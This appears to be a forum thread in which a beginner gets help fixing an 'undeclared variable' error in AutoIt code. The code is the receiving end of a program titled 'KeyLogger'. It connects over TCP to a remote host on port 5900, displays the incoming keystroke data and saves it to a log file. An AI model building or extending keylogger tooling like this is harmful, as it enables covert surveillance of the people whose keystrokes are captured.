I started learning how to code using AutoIT
I started from basics and I stuck on this little error message.
Variable used without being declared
It sounds easy like to get rid of something or add something.
But I'm not sure.
So thats Why I'm Asking for your help.
Thank You.

You need to declare your variable.
Example for a declaration:

Code:

Dim $var1

I can't tell you more without any code of yours.

Code:

HotKeySet("{F1}","_disconnect") HotKeySet("{F2}",'_exit') MsgBox(0, "Info", "To save the logs, Press F1 and for reconnect , start the client again." & @CRLF & "F2 = Exit") #include <ButtonConstants.au3> #include <EditConstants.au3> #include <GUIConstantsEx.au3> #include <StaticConstants.au3> #include <WindowsConstants.au3> #include <File.au3> #region ### Start Koda GUI section ### Form= $Form1 = GuiCreate("KeyLogger" , 306,347,192,124) $ip_adresse = GuiCtrlCreateInput("127.0.0.1", 8,16,81,21) $button1 = GUICtrlCreateButton("Connect", 96,16,65,25, $WS_GROUP) $status = GUICtrlCreateLabel("Disconnect" , 224,16,68,17) GUICtrlSetFont(-1,8,800,0, "Myriad Pro") GUICtrlSetColor(-1, 0xFF0000) $Edit1 = GUICtrlCreateEdit("", 8,48,289,257, BitOR($ES_AUTOVSCROLL,$ES_AUTOHSCROLL,$ES_READONLY,$ES_WANTRETURN)) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ### Global $disconnect = 0 While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Button1 $disconnect = 0 TCPStartup() $Connection = TCPConnect(GUICtrlRead($ip_addresse) , 5900) If $Connection < 0 Then MsgBox(16, "Error", "Verbindung konnte nicht aufgebaut werden") _exit() Else While $disconnect = 0 GUICtrlSetData($status, "Connected") GUICtrlSetColor($status, 0x00FF00) $Resv = TCPRecv($Connection, 2) GUICtrlSetData($Edit1, $Resv, 1) if @error Then MsgBox(16, "Error", "Verbindung unterbrochen") _exit() EndIf WEnd EndIf Case $Button2 if NOT FileExists(@ScriptDir & "log.txt") Then _FileCreate("log.txt") Sleep(200) $file = FileOpen(@ScriptDir & "log.txt") Else $file = FileOpen(@ScriptDir & "log.txt") EndIf FileWrite($file, GUICtrlRead($Edit1)) Sleep(500) FileClose($file) EndSwitch WEnd Func _disconnect() $disconnect = 1 GUICtrlSetData($status, "Disconnected") GUICtrlSetColor($status, 0xFF0000) EndFunc Func _exit() TCPCloseSocket($Connection) TCPShutdown() Exit EndFunc

HERE IS THE CODE

Doesn't the error outputter say on which line the error is? That'd be easier. :huh:

It actually doesn't :| I think

You see, you're saying there are two possibilities (cases), for either button1 or button2, but while you defined button1 here:

Code:

$button1 = GUICtrlCreateButton("Connect", 96,16,65,25, $WS_GROUP)

You never defined the variable $button2.

THANK YOU SO MUCH ! I FIXED IT !

I'm glad you fixed this, and that's nice to see someone still saying something here. It looked like the AutoIt section died a long long time ago.
